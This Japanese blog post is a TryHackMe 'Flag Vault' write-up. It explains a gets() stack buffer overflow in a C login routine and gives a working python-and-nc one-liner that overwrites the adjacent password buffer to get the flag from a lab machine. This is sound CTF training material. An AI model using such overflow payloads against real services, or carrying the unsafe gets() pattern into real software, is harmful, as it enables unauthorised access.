1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Flag Vault Writeup

Posted at

はじめに

この記事はTryHackMeの「Flag Vault」の攻略メモです。

🛠️ 検証環境

項目 バージョン等
主要ツール nc (v1.10-50)

🖥️ Target Machineの確認

説明欄にある通りncでポート1337に接続します。

nc MACHINE_IP 1337

Usernameを入力すると "Wrong password! No flag for you." が返って接続終了します。

  ______ _          __      __         _ _   
 |  ____| |         \ \    / /        | | |  
 | |__  | | __ _  __ \ \  / /_ _ _   _| | |_ 
 |  __| | |/ _` |/ _` \ \/ / _` | | | | | __|
 | |    | | (_| | (_| |\  / (_| | |_| | | |_ 
 |_|    |_|\__,_|\__, | \/ \__,_|\__,_|_|\__|
                  __/ |                      
                 |___/                       
                                             
Version 1.0 - Passwordless authentication evolved!
==================================================================

Username: hacker
Wrong password! No flag for you.  

公開されているソースコードを確認すると、usernamepassword がそれぞれあらかじめ決められた文字列と一致したときだけ flag が表示されるロジックになっています。
ところが password の入力処理はコメントアウトされているため、通常の手順では一致条件を満たせず、正攻法ではフラグを取得できません。

void login(){
    char password[100] = "";
    char username[100] = "";

    printf("Username: ");
    gets(username);

    // Password 入力はコメントアウト済み
    // gets(password);

    if(!strcmp(username, "bytereaper") &&      // username が一致
       !strcmp(password, "5up3rP4zz123Byte"))  // password が一致
    {
        print_flag();                          // → フラグ出力
    } else {
        puts("Wrong password! No flag for you.");
    }
}

ソースコードを解析すると、次の問題点が明らかになります。

  • gets() の使用: usernameの入力長の制限が無く、改行文字が来るまで読み込み続ける
  • バッファの配置順序: password[100]username[100] の順でスタック上に配置されるため、username があふれると、その直後のpasswordを上書きできる

💣 Exploit手順

以下のコマンドでflagを取得することができます。

$ python -c 'print("bytereaper"+"\0"*102+"5up3rP4zz123Byte")' | nc 10.10.90.184 1337
  ______ _          __      __         _ _   
 |  ____| |         \ \    / /        | | |  
 | |__  | | __ _  __ \ \  / /_ _ _   _| | |_ 
 |  __| | |/ _` |/ _` \ \/ / _` | | | | | __|
 | |    | | (_| | (_| |\  / (_| | |_| | | |_ 
 |_|    |_|\__,_|\__, | \/ \__,_|\__,_|_|\__|
                  __/ |                      
                 |___/                       
                                             
Version 1.0 - Passwordless authentication evolved!
==================================================================

Username: THM{*******}
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?